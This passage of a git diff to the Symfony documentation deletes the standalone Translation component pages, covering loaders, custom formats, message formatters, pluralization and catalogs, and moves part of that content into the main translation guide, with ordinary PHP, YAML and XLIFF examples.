 components, but you can replace any of these with a different library of your choice.
 
 The following sections explain how to plug these libraries into the form
diff --git a/components/translation.rst b/components/translation.rst
deleted file mode 100644
index a578d04c34c..00000000000
--- a/components/translation.rst
+++ /dev/null
@@ -1,231 +0,0 @@
-.. index::
-    single: Translation
-    single: Components; Translation
-
-The Translation Component
-=========================
-
-    The Translation component provides tools to internationalize your
-    application.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/translation:^3.4
-
-.. include:: /components/require_autoload.rst.inc
-
-.. seealso::
-
-    This article explains how to use the Translation features as an independent
-    component in any PHP application. Read the :doc:`/translation` article to
-    learn about how to internationalize and manage the user locale in Symfony
-    applications.
-
-Constructing the Translator
----------------------------
-
-The main access point of the Translation component is
-:class:`Symfony\\Component\\Translation\\Translator`. Before you can use it,
-you need to configure it and load the messages to translate (called *message
-catalogs*).
-
-Configuration
-~~~~~~~~~~~~~
-
-The constructor of the ``Translator`` class needs one argument: The locale::
-
-    use Symfony\Component\Translation\Translator;
-
-    $translator = new Translator('fr_FR');
-
-.. note::
-
-    The locale set here is the default locale to use. You can override this
-    locale when translating strings.
-
-.. note::
-
-    The term *locale* refers roughly to the user's language and country. It
-    can be any string that your application uses to manage translations and
-    other format differences (e.g. currency format). The `ISO 639-1`_
-    *language* code, an underscore (``_``), then the `ISO 3166-1 alpha-2`_
-    *country* code (e.g. ``fr_FR`` for French/France) is recommended.
-
-.. _component-translator-message-catalogs:
-
-Loading Message Catalogs
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-The messages are stored in message catalogs inside the ``Translator``
-class. A message catalog is like a dictionary of translations for a specific
-locale.
-
-The Translation component uses Loader classes to load catalogs. You can load
-multiple resources for the same locale, which will then be combined into one
-catalog.
-
-The component comes with some default Loaders and you can create your own
-Loader too. The default loaders are:
-
-* :class:`Symfony\\Component\\Translation\\Loader\\ArrayLoader` - to load
-  catalogs from PHP arrays.
-* :class:`Symfony\\Component\\Translation\\Loader\\CsvFileLoader` - to load
-  catalogs from CSV files.
-* :class:`Symfony\\Component\\Translation\\Loader\\IcuDatFileLoader` - to load
-  catalogs from resource bundles.
-* :class:`Symfony\\Component\\Translation\\Loader\\IcuResFileLoader` - to load
-  catalogs from resource bundles.
-* :class:`Symfony\\Component\\Translation\\Loader\\IniFileLoader` - to load
-  catalogs from ini files.
-* :class:`Symfony\\Component\\Translation\\Loader\\MoFileLoader` - to load
-  catalogs from gettext files.
-* :class:`Symfony\\Component\\Translation\\Loader\\PhpFileLoader` - to load
-  catalogs from PHP files.
-* :class:`Symfony\\Component\\Translation\\Loader\\PoFileLoader` - to load
-  catalogs from gettext files.
-* :class:`Symfony\\Component\\Translation\\Loader\\QtFileLoader` - to load
-  catalogs from QT XML files.
-* :class:`Symfony\\Component\\Translation\\Loader\\XliffFileLoader` - to load
-  catalogs from Xliff files.
-* :class:`Symfony\\Component\\Translation\\Loader\\JsonFileLoader` - to load
-  catalogs from JSON files.
-* :class:`Symfony\\Component\\Translation\\Loader\\YamlFileLoader` - to load
-  catalogs from Yaml files (requires the :doc:`Yaml component</components/yaml>`).
-
-All file loaders require the :doc:`Config component </components/config>`.
-
-You can also :doc:`create your own Loader </components/translation/custom_formats>`,
-in case the format is not already supported by one of the default loaders.
-
-At first, you should add one or more loaders to the ``Translator``::
-
-    // ...
-    $translator->addLoader('array', new ArrayLoader());
-
-The first argument is the name to which you can refer the loader in the
-translator and the second argument is an instance of the loader itself. After
-this, you can add your resources using the correct loader.
-
-Loading Messages with the ``ArrayLoader``
-.........................................
-
-Loading messages can be done by calling
-:method:`Symfony\\Component\\Translation\\Translator::addResource`. The first
-argument is the loader name (this was the first argument of the ``addLoader()``
-method), the second is the resource and the third argument is the locale::
-
-    // ...
-    $translator->addResource('array', [
-        'Hello World!' => 'Bonjour',
-    ], 'fr_FR');
-
-Loading Messages with the File Loaders
-......................................
-
-If you use one of the file loaders, you should also use the ``addResource()``
-method. The only difference is that you should put the file name to the resource
-file as the second argument, instead of an array::
-
-    // ...
-    $translator->addLoader('yaml', new YamlFileLoader());
-    $translator->addResource('yaml', 'path/to/messages.fr.yml', 'fr_FR');
-
-The Translation Process
------------------------
-
-To actually translate the message, the Translator uses a simple process:
-
-* A catalog of translated messages is loaded from translation resources defined
-  for the ``locale`` (e.g. ``fr_FR``). Messages from the
-  :ref:`components-fallback-locales` are also loaded and added to the
-  catalog, if they don't already exist. The end result is a large "dictionary"
-  of translations;
-
-* If the message is located in the catalog, the translation is returned. If
-  not, the translator returns the original message.
-
-You start this process by calling
-:method:`Symfony\\Component\\Translation\\Translator::trans` or
-:method:`Symfony\\Component\\Translation\\Translator::transChoice`. Then, the
-Translator looks for the exact string inside the appropriate message catalog
-and returns it (if it exists).
-
-.. _components-fallback-locales:
-
-Fallback Locales
-~~~~~~~~~~~~~~~~
-
-If the message is not located in the catalog of the specific locale, the
-translator will look into the catalog of one or more fallback locales. For
-example, assume you're trying to translate into the ``fr_FR`` locale:
-
-#. First, the translator looks for the translation in the ``fr_FR`` locale;
-
-#. If it wasn't found, the translator looks for the translation in the ``fr``
-   locale;
-
-#. If the translation still isn't found, the translator uses the one or more
-   fallback locales set explicitly on the translator.
-
-For (3), the fallback locales can be set by calling
-:method:`Symfony\\Component\\Translation\\Translator::setFallbackLocales`::
-
-    // ...
-    $translator->setFallbackLocales(['en']);
-
-.. _using-message-domains:
-
-Using Message Domains
----------------------
-
-As you've seen, message files are organized into the different locales that
-they translate. The message files can also be organized further into "domains".
-
-The domain is specified in the fourth argument of the ``addResource()``
-method. The default domain is ``messages``. For example, suppose that, for
-organization, translations were split into three different domains:
-``messages``, ``admin`` and ``navigation``. The French translation would be
-loaded like this::
-
-    // ...
-    $translator->addLoader('xlf', new XliffFileLoader());
-
-    $translator->addResource('xlf', 'messages.fr.xlf', 'fr_FR');
-    $translator->addResource('xlf', 'admin.fr.xlf', 'fr_FR', 'admin');
-    $translator->addResource(
-        'xlf',
-        'navigation.fr.xlf',
-        'fr_FR',
-        'navigation'
-    );
-
-When translating strings that are not in the default domain (``messages``),
-you must specify the domain as the third argument of ``trans()``::
-
-    $translator->trans('Symfony is great', [], 'admin');
-
-Symfony will now look for the message in the ``admin`` domain of the
-specified locale.
-
-Usage
------
-
-Read how to use the Translation component in :doc:`/components/translation/usage`.
-
-Learn More
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /components/translation/*
-    /translation
-    /translation/*
-    /validation/translations
-
-.. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
-.. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
diff --git a/components/translation/custom_formats.rst b/components/translation/custom_formats.rst
deleted file mode 100644
index 5ebd3fe8599..00000000000
--- a/components/translation/custom_formats.rst
+++ /dev/null
@@ -1,125 +0,0 @@
-.. index::
-    single: Translation; Adding Custom Format Support
-
-Adding Custom Format Support
-============================
-
-Sometimes, you need to deal with custom formats for translation files. The
-Translation component is flexible enough to support this. Just create a
-loader (to load translations) and, optionally, a dumper (to dump translations).
-
-Imagine that you have a custom format where translation messages are defined
-using one line for each translation and parentheses to wrap the key and the
-message. A translation file would look like this:
-
-.. code-block:: text
-
-    (welcome)(accueil)
-    (goodbye)(au revoir)
-    (hello)(bonjour)
-
-.. _components-translation-custom-loader:
-
-Creating a Custom Loader
-------------------------
-
-To define a custom loader that is able to read these kinds of files, you must create a
-new class that implements the
-:class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`. The
-:method:`Symfony\\Component\\Translation\\Loader\\LoaderInterface::load`
-method will get a filename and parse it into an array. Then, it will
-create the catalog that will be returned::
-
-    use Symfony\Component\Translation\Loader\LoaderInterface;
-    use Symfony\Component\Translation\MessageCatalogue;
-
-    class MyFormatLoader implements LoaderInterface
-    {
-        public function load($resource, $locale, $domain = 'messages')
-        {
-            $messages = [];
-            $lines = file($resource);
-
-            foreach ($lines as $line) {
-                if (preg_match('/\(([^\)]+)\)\(([^\)]+)\)/', $line, $matches)) {
-                    $messages[$matches[1]] = $matches[2];
-                }
-            }
-
-            $messageCatalog = new MessageCatalogue($locale);
-            $messageCatalog->add($messages, $domain);
-
-            return $messageCatalog;
-        }
-
-    }
-
-Once created, it can be used as any other loader::
-
-    use Symfony\Component\Translation\Translator;
-
-    $translator = new Translator('fr_FR');
-    $translator->addLoader('my_format', new MyFormatLoader());
-
-    $translator->addResource('my_format', __DIR__.'/translations/messages.txt', 'fr_FR');
-
-    var_dump($translator->trans('welcome'));
-
-It will print *"accueil"*.
-
-.. _components-translation-custom-dumper:
-
-Creating a Custom Dumper
-------------------------
-
-It is also possible to create a custom dumper for your format, which is
-useful when using the extraction commands. To do so, a new class
-implementing the
-:class:`Symfony\\Component\\Translation\\Dumper\\DumperInterface`
-must be created. To write the dump contents into a file, extending the
-:class:`Symfony\\Component\\Translation\\Dumper\\FileDumper` class
-will save a few lines::
-
-    use Symfony\Component\Translation\Dumper\FileDumper;
-    use Symfony\Component\Translation\MessageCatalogue;
-
-    class MyFormatDumper extends FileDumper
-    {
-        public function formatCatalogue(MessageCatalogue $messages, $domain, array $options = [])
-        {
-            $output = '';
-
-            foreach ($messages->all($domain) as $source => $target) {
-                $output .= sprintf("(%s)(%s)\n", $source, $target);
-            }
-
-            return $output;
-        }
-
-        protected function getExtension()
-        {
-            return 'txt';
-        }
-    }
-
-.. sidebar:: Format a message catalog
-
-    In some cases, you want to send the dump contents as a response instead of
-    writing them in files.  To do this, you can use the ``formatCatalogue``
-    method. In this case, you must pass the domain argument, which determines
-    the list of messages that should be dumped.
-
-The :method:`Symfony\\Component\\Translation\\Dumper\\FileDumper::formatCatalogue`
-method creates the output string, that will be used by the
-:method:`Symfony\\Component\\Translation\\Dumper\\FileDumper::dump` method
-of the FileDumper class to create the file. The dumper can be used like any other
-built-in dumper. In the following example, the translation messages defined in the
-YAML file are dumped into a text file with the custom format::
-
-    use Symfony\Component\Translation\Loader\YamlFileLoader;
-
-    $loader = new YamlFileLoader();
-    $translations = $loader->load(__DIR__ . '/translations/messages.fr_FR.yml' , 'fr_FR');
-
-    $dumper = new MyFormatDumper();
-    $dumper->dump($translations, ['path' => __DIR__.'/dumps']);
diff --git a/components/translation/custom_message_formatter.rst b/components/translation/custom_message_formatter.rst
deleted file mode 100644
index 81e40a4c544..00000000000
--- a/components/translation/custom_message_formatter.rst
+++ /dev/null
@@ -1,38 +0,0 @@
-.. index::
-    single: Translation; Create Custom Message formatter
-
-Create a Custom Message Formatter
-=================================
-
-The default message formatter provided by Symfony solves the most common needs
-when translating messages, such as using variables and pluralization. However,
-if your needs are different, you can create your own message formatter.
-
-Message formatters are PHP classes that implement the
-:class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`::
-
-
-    use Symfony\Component\Translation\Formatter\MessageFormatterInterface;
-
-    class MyCustomMessageFormatter implements MessageFormatterInterface
-    {
-        public function format($message, $locale, array $parameters = [])
-        {
-            // ... format the message according to your needs
-
-            return $message;
-        }
-    }
-
-Now, pass an instance of this formatter as the second argument of the translator
-to use it when translating messages::
-
-    use Symfony\Component\Translation\Translator;
-
-    $translator = new Translator('fr_FR', new IntlMessageFormatter());
-    $message = $translator->trans($originalMessage, $translationParameters);
-
-If you want to use this formatter to translate all messages in your Symfony
-application, define a service for the formatter and use the
-:ref:`translator.formatter <reference-framework-translator-formatter>` option
-to set that service as the default formatter.
diff --git a/components/translation/usage.rst b/components/translation/usage.rst
deleted file mode 100644
index 65f3442c75d..00000000000
--- a/components/translation/usage.rst
+++ /dev/null
@@ -1,500 +0,0 @@
-.. index::
-    single: Translation; Usage
-
-Using the Translator
-====================
-
-Imagine you want to translate the string *"Symfony is great"* into French::
-
-    use Symfony\Component\Translation\Loader\ArrayLoader;
-    use Symfony\Component\Translation\Translator;
-
-    $translator = new Translator('fr_FR');
-    $translator->addLoader('array', new ArrayLoader());
-    $translator->addResource('array', [
-        'Symfony is great!' => 'Symfony est super !',
-    ], 'fr_FR');
-
-    var_dump($translator->trans('Symfony is great!'));
-
-In this example, the message *"Symfony is great!"* will be translated into
-the locale set in the constructor (``fr_FR``) if the message exists in one of
-the message catalogs.
-
-.. _component-translation-placeholders:
-
-Message Placeholders
---------------------
-
-Sometimes, a message containing a variable needs to be translated::
-
-    // ...
-    $translated = $translator->trans('Hello '.$name);
-
-    var_dump($translated);
-
-However, creating a translation for this string is impossible since the translator
-will try to look up the exact message, including the variable portions
-(e.g. *"Hello Ryan"* or *"Hello Fabien"*). Instead of writing a translation
-for every possible iteration of the ``$name`` variable, you can replace the
-variable with a "placeholder"::
-
-    // ...
-    $translated = $translator->trans(
-        'Hello %name%',
-        ['%name%' => $name]
-    );
-
-    var_dump($translated);
-
-Symfony will now look for a translation of the raw message (``Hello %name%``)
-and *then* replace the placeholders with their values. Creating a translation
-is done just as before:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <?xml version="1.0"?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="1">
-                        <source>Hello %name%</source>
-                        <target>Bonjour %name%</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        'Hello %name%': Bonjour %name%
-
-    .. code-block:: php
-
-        return [
-            'Hello %name%' => 'Bonjour %name%',
-        ];
-
-.. note::
-
-    The placeholders can take on any form as the full message is reconstructed
-    using the PHP :phpfunction:`strtr function<strtr>`. But the ``%...%`` form
-    is recommended, to avoid problems when using Twig.
-
-As you've seen, creating a translation is a two-step process:
-
-#. Abstract the message that needs to be translated by processing it through
-   the ``Translator``.
-
-#. Create a translation for the message in each locale that you choose to
-   support.
-
-The second step is done by creating message catalogs that define the translations
-for any number of different locales.
-
-Creating Translations
----------------------
-
-The act of creating translation files is an important part of "localization"
-(often abbreviated `L10n`_). Translation files consist of a series of
-id-translation pairs for the given domain and locale. The source is the identifier
-for the individual translation, and can be the message in the main locale (e.g.
-*"Symfony is great"*) of your application or a unique identifier (e.g.
-``symfony.great`` - see the sidebar below).
-
-Translation files can be created in several formats, XLIFF being the
-recommended format. These files are parsed by one of the loader classes.
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <?xml version="1.0"?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="symfony_is_great">
-                        <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
-                    </trans-unit>
-                    <trans-unit id="symfony.great">
-                        <source>symfony.great</source>
-                        <target>J'aime Symfony</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        Symfony is great: J'aime Symfony
-        symfony.great:    J'aime Symfony
-
-    .. code-block:: php
-
-        return [
-            'Symfony is great' => 'J\'aime Symfony',
-            'symfony.great'    => 'J\'aime Symfony',
-        ];
-
-.. _translation-real-vs-keyword-messages:
-
-.. sidebar:: Using Real or Keyword Messages
-
-    This example illustrates the two different philosophies when creating
-    messages to be translated::
-
-        $translator->trans('Symfony is great');
-
-        $translator->trans('symfony.great');
-
-    In the first method, messages are written in the language of the default
-    locale (English in this case). That message is then used as the "id"
-    when creating translations.
-
-    In the second method, messages are actually "keywords" that convey the
-    idea of the message. The keyword message is then used as the "id" for
-    any translations. In this case, translations must be made for the default
-    locale (i.e. to translate ``symfony.great`` to ``Symfony is great``).
-
-    The second method is handy because the message key won't need to be changed
-    in every translation file if you decide that the message should actually
-    read "Symfony is really great" in the default locale.
-
-    The choice of which method to use is entirely up to you, but the "keyword"
-    format is often recommended for multi-language applications, whereas for
-    shared bundles that contain translation resources we recommend the real
-    message, so your application can choose to disable the translator layer
-    and you will see a readable message.
-
-    Additionally, the ``php`` and ``yaml`` file formats support nested ids to
-    avoid repeating yourself if you use keywords instead of real text for your
-    ids:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            symfony:
-                is:
-                    great: Symfony is great
-                    amazing: Symfony is amazing
-                has:
-                    bundles: Symfony has bundles
-            user:
-                login: Login
-
-        .. code-block:: php
-
-            [
-                'symfony' => [
-                    'is' => [
-                        'great'   => 'Symfony is great',
-                        'amazing' => 'Symfony is amazing',
-                    ],
-                    'has' => [
-                        'bundles' => 'Symfony has bundles',
-                    ],
-                ],
-                'user' => [
-                    'login' => 'Login',
-                ],
-            ];
-
-    The multiple levels are flattened into single id/translation pairs by
-    adding a dot (``.``) between every level, therefore the above examples are
-    equivalent to the following:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            symfony.is.great: Symfony is great
-            symfony.is.amazing: Symfony is amazing
-            symfony.has.bundles: Symfony has bundles
-            user.login: Login
-
-        .. code-block:: php
-
-            return [
-                'symfony.is.great'    => 'Symfony is great',
-                'symfony.is.amazing'  => 'Symfony is amazing',
-                'symfony.has.bundles' => 'Symfony has bundles',
-                'user.login'          => 'Login',
-            ];
-
-.. _component-translation-pluralization:
-
-Pluralization
--------------
-
-Message pluralization is a tough topic as the rules can be quite complex. For
-instance, here is the mathematical representation of the Russian pluralization
-rules::
-
-    (($number % 10 == 1) && ($number % 100 != 11))
-        ? 0
-        : ((($number % 10 >= 2)
-            && ($number % 10 <= 4)
-            && (($number % 100 < 10)
-            || ($number % 100 >= 20)))
-                ? 1
-                : 2
-    );
-
-As you can see, in Russian, you can have three different plural forms, each
-given an index of 0, 1 or 2. For each form, the plural is different, and
-so the translation is also different.
-
-When a translation has different forms due to pluralization, you can provide
-all the forms as a string separated by a pipe (``|``)::
-
-    'There is one apple|There are %count% apples'
-
-To translate pluralized messages, use the
-:method:`Symfony\\Component\\Translation\\Translator::transChoice` method::
-
-    // the %count% placeholder is assigned to the second argument...
-    $translator->transChoice(
-        'There is one apple|There are %count% apples',
-        10
-    );
-
-    // ...but you can define more placeholders if needed
-    $translator->transChoice(
-        'Hurry up %name%! There is one apple left.|There are %count% apples left.',
-        10,
-        // no need to include %count% here; Symfony does that for you
-        ['%name%' => $user->getName()]
-    );
-
-The second argument (``10`` in this example) is the *number* of objects being
-described and is used to determine which translation to use and also to populate
-the ``%count%`` placeholder.
-
-.. versionadded:: 3.2
-
-    Before Symfony 3.2, the placeholder used to select the plural (``%count%``
-    in this example) must be included in the third optional argument of the
-    ``transChoice()`` method::
-
-        $translator->transChoice(
-            'There is one apple|There are %count% apples',
-            10,
-            ['%count%' => 10]
-        );
-
-    Starting from Symfony 3.2, when the only placeholder is ``%count%``, you
-    don't have to pass this third argument.
-
-Based on the given number, the translator chooses the right plural form.
-In English, most words have a singular form when there is exactly one object
-and a plural form for all other numbers (0, 2, 3...). So, if ``count`` is
-``1``, the translator will use the first string (``There is one apple``)
-as the translation. Otherwise it will use ``There are %count% apples``.
-
-Here is the French translation:
-
-.. code-block:: text
-
-    'Il y a %count% pomme|Il y a %count% pommes'
-
-Even if the string looks similar (it is made of two sub-strings separated by a
-pipe), the French rules are different: the first form (no plural) is used when
-``count`` is ``0`` or ``1``. So, the translator will automatically use the
-first string (``Il y a %count% pomme``) when ``count`` is ``0`` or ``1``.
-
-Each locale has its own set of rules, with some having as many as six different
-plural forms with complex rules behind which numbers map to which plural form.
-The rules are quite simple for English and French, but for Russian, you'd
-may want a hint to know which rule matches which string. To help translators,
-you can optionally "tag" each string:
-
-.. code-block:: text
-
-    'one: There is one apple|some: There are %count% apples'
-
-    'none_or_one: Il y a %count% pomme|some: Il y a %count% pommes'
-
-The tags are really only hints for translators and don't affect the logic
-used to determine which plural form to use. The tags can be any descriptive
-string that ends with a colon (``:``). The tags also do not need to be the
-same in the original message as in the translated one.
-
-.. tip::
-
-    As tags are optional, the translator doesn't use them (the translator will
-    only get a string based on its position in the string).
-
-Explicit Interval Pluralization
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The easiest way to pluralize a message is to let the Translator use internal
-logic to choose which string to use based on a given number. Sometimes, you'll
-need more control or want a different translation for specific cases (for
-``0``, or when the count is negative, for example). For such cases, you can
-use explicit math intervals:
-
-.. code-block:: text
-
-    '{0} There are no apples|{1} There is one apple|]1,19] There are %count% apples|[20,Inf[ There are many apples'
-
-The intervals follow the `ISO 31-11`_ notation. The above string specifies
-four different intervals: exactly ``0``, exactly ``1``, ``2-19``, and ``20``
-and higher.
-
-You can also mix explicit math rules and standard rules. In this case, if
-the count is not matched by a specific interval, the standard rules take
-effect after removing the explicit rules:
-
-.. code-block:: text
-
-    '{0} There are no apples|[20,Inf[ There are many apples|There is one apple|a_few: There are %count% apples'
-
-For example, for ``1`` apple, the standard rule ``There is one apple`` will
-be used. For ``2-19`` apples, the second standard rule
-``There are %count% apples`` will be selected.
-
-An :class:`Symfony\\Component\\Translation\\Interval` can represent a finite set
-of numbers:
-
-.. code-block:: text
-
-    {1,2,3,4}
-
-Or numbers between two other numbers:
-
-.. code-block:: text
-
-    [1, +Inf[
-    ]-1,2[
-
-The left delimiter can be ``[`` (inclusive) or ``]`` (exclusive). The right
-delimiter can be ``[`` (exclusive) or ``]`` (inclusive). Beside numbers, you
-can use ``-Inf`` and ``+Inf`` for the infinite.
-
-Forcing the Translator Locale
------------------------------
-
-When translating a message, the Translator uses the specified locale or the
-``fallback`` locale if necessary. You can also manually specify the locale to
-use for translation::
-
-    $translator->trans(
-        'Symfony is great',
-        [],
-        'messages',
-        'fr_FR'
-    );
-
-    $translator->transChoice(
-        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
-        10,
-        [],
-        'messages',
-        'fr_FR'
-    );
-
-.. note::
-
-    Starting from Symfony 3.2, the third argument of ``transChoice()`` is
-    optional when the only placeholder in use is ``%count%``. In previous
-    Symfony versions you needed to always define it::
-
-        $translator->transChoice(
-            '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
-            10,
-            ['%count%' => 10],
-            'messages',
-            'fr_FR'
-        );
-
-.. _retrieving-the-message-catalogue:
-
-Retrieving the Message Catalog
-------------------------------
-
-In case you want to use the same translation catalog outside your application
-(e.g. use translation on the client side), it's possible to fetch raw translation
-messages. Just specify the required locale::
-
-    $catalog = $translator->getCatalogue('fr_FR');
-    $messages = $catalog->all();
-    while ($catalog = $catalog->getFallbackCatalogue()) {
-        $messages = array_replace_recursive($catalog->all(), $messages);
-    }
-
-The ``$messages`` variable will have the following structure::
-
-    [
-        'messages' => [
-            'Hello world' => 'Bonjour tout le monde',
-        ],
-        'validators' => [
-            'Value should not be empty' => 'Valeur ne doit pas être vide',
-            'Value is too long' => 'Valeur est trop long',
-        ],
-    ];
-
-Adding Notes to Translation Contents
-------------------------------------
-
-.. versionadded:: 3.4
-
-    The feature to load and dump translation notes was introduced in Symfony 3.4.
-
-Sometimes translators need additional context to better decide how to translate
-some content. This context can be provided with notes, which are a collection of
-comments used to store end user readable information. The only format that
-supports loading and dumping notes is XLIFF version 2.0.
-
-If the XLIFF 2.0 document contains ``<notes>`` nodes, they are automatically
-loaded/dumped when using this component inside a Symfony application:
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="UTF-8"?>
-    <xliff xmlns="urn:oasis:names:tc:xliff:document:2.0" version="2.0"
-        srcLang="fr-FR" trgLang="en-US">
-        <file id="messages.en_US">
-            <unit id="LCa0a2j">
-                <notes>
-                    <note category="state">new</note>
-                    <note category="approved">true</note>
-                    <note category="section" priority="1">user login</note>
-                </notes>
-                <segment>
-                    <source>original-content</source>
-                    <target>translated-content</target>
-                </segment>
-            </unit>
-        </file>
-    </xliff>
-
-When using the standalone Translation component, call the ``setMetadata()``
-method of the catalog and pass the notes as arrays. This is for example the
-code needed to generate the previous XLIFF file::
-
-    use Symfony\Component\Translation\Dumper\XliffFileDumper;
-    use Symfony\Component\Translation\MessageCatalogue;
-
-    $catalog = new MessageCatalogue('en_US');
-    $catalog->add([
-        'original-content' => 'translated-content',
-    ]);
-    $catalog->setMetadata('original-content', ['notes' => [
-        ['category' => 'state', 'content' => 'new'],
-        ['category' => 'approved', 'content' => 'true'],
-        ['category' => 'section', 'content' => 'user login', 'priority' => '1'],
-    ]]);
-
-    $dumper = new XliffFileDumper();
-    $dumper->formatCatalogue($catalog, 'messages', [
-        'default_locale' => 'fr_FR',
-        'xliff_version' => '2.0'
-    ]);
-
-.. _`L10n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
-.. _`ISO 31-11`: https://en.wikipedia.org/wiki/Interval_(mathematics)#Notations_for_intervals
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 661d84767c4..13b61f7eb79 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -736,7 +736,7 @@ migrating the blog from flat PHP to Symfony has improved your life:
   :doc:`Templating </components/templating>`,
   :doc:`Security </components/security>`,
   :doc:`Form </components/form>`, `Validator`_ and
-  :doc:`Translation </components/translation>` components (to name
+  `Translation`_ components (to name
   a few);
 
 * The application now enjoys **fully-flexible URLs** thanks to the Routing
@@ -753,6 +753,7 @@ A good selection of `Symfony community tools`_ can be found on GitHub.
 
 .. _`Model-View-Controller`: https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller
 .. _`Doctrine`: http://www.doctrine-project.org
+.. _Translation: https://github.com/symfony/translation
 .. _`Composer`: https://getcomposer.org
 .. _`download Composer`: https://getcomposer.org/download/
 .. _`Validator`: https://github.com/symfony/validator
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b421a6c5d3a..a0003f08062 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1726,10 +1726,6 @@ formatter
 The ID of the service used to format translation messages. The service class
 must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`.
 
-.. seealso::
-
-    For more details, see :doc:`/components/translation/custom_message_formatter`.
-
 .. _reference-translator-paths:
 
 paths
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 35a44883808..0ff2dbf9c1b 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1045,11 +1045,6 @@ translation.loader
 By default, translations are loaded from the filesystem in a variety of
 different formats (YAML, XLIFF, PHP, etc).
 
-.. seealso::
-
-    Learn how to :ref:`load custom formats <components-translation-custom-loader>`
-    in the components section.
-
 Now, register your loader as a service and tag it with ``translation.loader``:
 
 .. configuration-block::
@@ -1235,11 +1230,6 @@ This is the name that's used to determine which dumper should be used.
         $container->register(JsonFileDumper::class)
             ->addTag('translation.dumper', ['alias' => 'json']);
 
-.. seealso::
-
-    Learn how to :ref:`dump to custom formats <components-translation-custom-dumper>`
-    in the components section.
-
 .. _reference-dic-tags-twig-extension:
 
 twig.extension
diff --git a/translation.rst b/translation.rst
index 95ed03e51bb..66b6b58a1b2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -28,10 +28,7 @@ into the language of the user::
     *language* code, an underscore (``_``), then the `ISO 3166-1 alpha-2`_
     *country* code (e.g. ``fr_FR`` for French/France) is recommended.
 
-In this article, you'll learn how to use the Translation component in the
-Symfony Framework. You can read the
-:doc:`Translation component documentation </components/translation/usage>`
-to learn even more. Overall, the process has several steps:
+The translation process has several steps:
 
 #. :ref:`Enable and configure <translation-configuration>` Symfony's
    translation service;
@@ -122,10 +119,15 @@ When this code is executed, Symfony will attempt to translate the message
 you need to tell Symfony how to translate the message via a "translation
 resource", which is usually a file that contains a collection of translations
 for a given locale. This "dictionary" of translations can be created in several
-different formats, XLIFF being the recommended format:
+different formats:
 
 .. configuration-block::
 
+    .. code-block:: yaml
+
+        # messages.fr.yml
+        Symfony is great: J'aime Symfony
+
     .. code-block:: xml
 
         <!-- messages.fr.xlf -->
@@ -141,11 +143,6 @@ different formats, XLIFF being the recommended format:
             </file>
         </xliff>
 
-    .. code-block:: yaml
-
-        # messages.fr.yml
-        Symfony is great: J'aime Symfony
-
     .. code-block:: php
 
         // messages.fr.php
@@ -160,27 +157,121 @@ Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``
 the message will be translated into ``J'aime Symfony``. You can also translate
 the message inside your :ref:`templates <translation-tags>`.
 
+.. _translation-real-vs-keyword-messages:
+
+.. sidebar:: Using Real or Keyword Messages
+
+    This example illustrates the two different philosophies when creating
+    messages to be translated::
+
+        $translator->trans('Symfony is great');
+
+        $translator->trans('symfony.great');
+
+    In the first method, messages are written in the language of the default
+    locale (English in this case). That message is then used as the "id"
+    when creating translations.
+
+    In the second method, messages are actually "keywords" that convey the
+    idea of the message. The keyword message is then used as the "id" for
+    any translations. In this case, translations must be made for the default
+    locale (i.e. to translate ``symfony.great`` to ``Symfony is great``).
+
+    The second method is handy because the message key won't need to be changed
+    in every translation file if you decide that the message should actually
+    read "Symfony is really great" in the default locale.
+
+    The choice of which method to use is entirely up to you, but the "keyword"
+    format is often recommended for multi-language applications, whereas for
+    shared bundles that contain translation resources we recommend the real
+    message, so your application can choose to disable the translator layer
+    and you will see a readable message.
+
+    Additionally, the ``php`` and ``yaml`` file formats support nested ids to
+    avoid repeating yourself if you use keywords instead of real text for your
+    ids:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            symfony:
+                is:
+                    # id is symfony.is.great
+                    great: Symfony is great
+                    # id is symfony.is.amazing
+                    amazing: Symfony is amazing
+                has:
+                    # id is symfony.has.bundles
+                    bundles: Symfony has bundles
+            user:
+                # id is user.login
+                login: Login
+
+        .. code-block:: php
+
+            [
+                'symfony' => [
+                    'is' => [
+                        // id is symfony.is.great
+                        'great'   => 'Symfony is great',
+                        // id is symfony.is.amazing
+                        'amazing' => 'Symfony is amazing',
+                    ],
+                    'has' => [
